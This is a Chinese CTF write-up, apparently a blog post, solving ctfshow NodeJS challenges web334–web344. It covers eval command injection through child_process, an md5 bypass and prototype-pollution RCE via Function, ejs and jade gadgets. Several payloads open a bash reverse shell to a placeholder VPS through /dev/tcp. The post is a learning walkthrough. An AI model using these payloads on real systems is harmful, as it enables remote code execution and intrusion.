文章目录

  • 什么是nodejs
  • web334
  • web335
  • web336
  • web337
  • web338
  • web339
    • 预期解
    • 非预期解
  • web340
  • web341
  • web342-343
  • web344

什么是nodejs

Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器而不是某种库

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

web334

user.js发现username: ‘CTFSHOW’, password: ‘123456’

源码在login.js,发现登录成功会拿到flag,即重点看登录部分

var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};

要求是name不等于CTFSHOW,第二行users.find就是取user.js部分,item.username=CTFSHOW,意思是name的大写为CTFSHOW也能通过判断,所以这里已经可以得到账号密码

username:ctfshow
password:123456

登录即可获得flag

web335

源代码发现/?eval=

然后传一个?eval=ls,回显是找不到文件,所以这里可能是去include一个文件之类的

但是测试一下发现连index.php都不能找到,于是我又传了一个eval=1,在index.php回显了一个1

考虑到这里是nodejs,eval很有可能是执行的eval函数。在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

查看nodejs文档的child_process:http://nodejs.cn/api/child_process.html

注意到:child_process.exec(command[, options][, callback])

于是构造一个payload

require("child_process").execSync('ls')

发现flag:fl00g.txt,cat即可

web336

依旧是eval,但传之前的payload会显示 tql ,说明这里需要绕过

测试了一下,是过滤了exec字符串

这里想办法拼接exec来绕过

require("child_process")['exe'%2B'cSync']('ls')

看了下wp,这里是可以看到源码的

__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。

于是传?eval=__filename可以看到路径为/app/routes/index.js

然后传eval=require(‘fs’).readFileSync(’/app/routes/index.js’,‘utf-8’)可以发现过滤了exec和load

web337

源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');function md5(s) {return crypto.createHash('md5').update(s).digest('hex');
}/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}});module.exports = router;

要传入a和b,a和b要为真、a和b长度相等,a不等于b,a+flag和b+flag在md5后相等,则输出flag

这个好像在哪见过,但我实在是忘了,好像是在大赛原题板块有一道,绝对CTFSHOW大赛原题板块有一道这个,当时我还做了,肯定有!

首先想到的是传数组来绕过,但测试发现不行,于是通过控制台来调试看看

控制台测试了一下发现两个值并不相等

发现这样传的值相等,即传入a[:]=1&b[:]=2就能绕过

web338

和第一题一样的登录界面,下载源码解压

先随便传一个123 123,回显登录失败{“username”:“123”,“password”:“123”}

看源码,在routes/login.js中看到登录部分

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  }});module.exports = router;

其中还require了一个utils/common

//common.js
module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}

只要secert.ctfshow==='36dboy’就会打印出flag。考点是原型链污染,第一次接触,看看P神写的。
深入理解 JavaScript Prototype 污染攻击

顺便在看的时候发现common.js和P神里面举例的JS可以说是一模一样

于是尝试污染Object类,添加{“ctfshow”:“36dboy”}属性。在发包的时改一下

因为原型污染,secret对象直接继承了Object.prototype,所以就导致了secert.ctfshow==='36dboy'

web339

login.js里新增与修改了

//login.js
function User(){this.username='';this.password='';
}
function normalUser(){this.user
}
......
if(secert.ctfshow===flag){res.end(flag);
......

此外还新增了一个api.js

//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});
});module.exports = router;

又是新知识点捏

预期解

漏洞点在res.render('api', { query: Function(query)(query)});

Function里的query变量没有被引用,通过原型污染给它赋任意值就可以进行rce。

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}

在index界面POST之后直接POST访问api界面即可

玛德新买的那台服务器忘了开安全组我硬弹了20分钟,蚌埠住了

flag在login.js里

这样说明成功了

非预期解

ejs模板漏洞导致rce(Code-Breaking 2018 Thejs题(可见P神博客,就之前的那个链接))

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}

payload使用方法同上,先index发包再api发包

web340

这次login里面多定义了

//login.jsvar user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);

这里需要污染两级,可以看yu师傅的博客https://blog.csdn.net/miuzzx/article/details/111780832#web339_48

里面有一个举例

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

web341

这次删除了api,此外login也改了

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false;     };};utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){return res.json({ret_code: 0, ret_msg: '登录成功'});  }else{return res.json({ret_code: 2, ret_msg: '登录失败'});  }});module.exports = router;

这里就用339的非预期,是这题的预期解。注意的是要嵌套,因为是340的改版。

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}

然后随便访问界面即可,比如首页刷新一下,连上后直接输入env看环境变量即可找到flag

web342-343

这里据说是jade rce(https://xz.aliyun.com/t/7025),因为我没去了解过,所以这里就照师傅们的打了

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}

发包的时候请求头中的“Content-Type”改为"application/json"

找flag依旧是env

web344

router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});

过滤了逗号,甚至还过滤了%2c,然后%2c正好也是逗号

总之要传?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

这里直接把要传的参都给url编码就可以了

?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d

ctfshow NodeJs web334-web344 wp相关推荐

  1. ctfshow Nodejs

    目录 <1> web334(大小写判断) <2> web335(无过滤execSync()执行命令) <3> web336(spawnSync()执行命令) < ...

  2. CTFShow“萌心区”WP(上)

    CTFShow "萌心区"WP详解(上) 萌新认证 萌新_密码1 萌新_密码2 萌新_密码3 萌新_密码4 隐写1 隐写2 萌新_隐写2 萌新_隐写3 萌新_隐写4 萌新_隐写5 ...

  3. ctfshow—2023愚人杯wp

    ctfshow-2023愚人杯wp 热身 热身 100 愚人杯比赛秉承欢乐.有爱.进取的精神 在群里师傅热心帮助下,已经开始第三届比赛啦! 欢迎各位师傅参加,希望大家玩的开心,比赛题目可以自由讨论.但 ...

  4. CTFshow 击剑杯 部分WP

    摆烂了摆烂了 太难了 聪明的师傅已经组队打起月赛了 试试能不能苟住前5 苟住了 复现的后面再补充吧 文章目录 1.Misc 中文识别带师 2.Web 简单的验证码 easyPOP 3.Pwn pwn0 ...

  5. ctfshow sql注入 web171-web253 wp

    文章目录 参考文章 sql注入 web171 web172 web173 web174 web175 解法一 解法二 web176 web177 web178 web179 web180-web182 ...

  6. CTFshow单身杯 部分wp

    前言:不会吧不会吧不会有人520521不约会打比赛吧 文章目录 1.单身杯热身题目 2.misc签到 3.没大没小的串串 4.任性老板 5.蛤壳雪茄-1 6.蛤壳雪茄-2 7.The Dancing ...

  7. ctfshow 89-115 php特性 wp

    首先还是非常感谢群主大大和师傅们. 希望ctfshow平台越来越好,做大做强做辉煌. 链接:https://pan.baidu.com/s/12-uMIjaIDllXx4STQIbm5w 提取码:kr ...

  8. [CTFSHOW]CTFSHOW击剑杯 部分WP

    进群得码 群里发送 击剑杯签到即可 所以就发送 "击剑杯签到即可" 然后得到flag 给我看看 三血 <?php header("Content-Type: tex ...

  9. CTFshow菜鸡杯WP

    WEB WEB1 签到 <?php if(isset($_GET['url'])){switch (strtolower(substr($_GET['url'], 0,4))) {case 'f ...

最新文章

  1. 数据结构[栈与队列]的基本操作
  2. PyTorch 训练加速
  3. android自学笔记《五》——模拟器的使用
  4. 博耳电力中标上海万国数据中心项目
  5. Matlab | 用Matlab写一首歌送给女朋友——程序员必备撩妹技能(Matlab源码)
  6. Java Inner Class 内部类
  7. 【C++深度剖析教程30】C++中抽象类和接口
  8. 两个getchar,一个getchar,getch的不同点 出现的不同情况
  9. Maven学习总结(57)—— 如何提高 Maven 的构建速度?maven-mvnd 又是什么鬼?
  10. 调用谷歌的方法输出图表,运行中的结果
  11. js面向对象的程序设计 --- 上篇(理解对象)
  12. Linux系统内核正式进入5.0版本时代
  13. 基于Java visualvm的可视化监控的使用
  14. linux目录结构全解,Linux目录结构详解(最全最详细版)
  15. 自行委托的鉴定意见可以作为审理依据
  16. 学习虚幻4(一)U3D与UE4的比较
  17. 微信小程序最简单的轮播图
  18. Libevent教程001: 简介与配置
  19. Cent OS安装中文字体
  20. 别找了,这个命令让你在字符串和十六进制间自由转换

热门文章

  1. TIM学习文档22-- 账户分配
  2. C库函数(tolower/toupper)实现字母的大小写转换
  3. 如何去掉google map上导航和GPS按钮
  4. arduino学习:本人编写的单个传感器控制电机运转的代码
  5. 矢量的二重叉积公式的推导
  6. Makefile 配置和使用
  7. 微型计算机配置认识,认识微型计算机(ppt课件)
  8. java 遍历数据的三种方式
  9. Python学习笔记 8
  10. 【自然语言处理】【文本生成】UniLM:用于自然语言理解和生成的统一语言模型预训练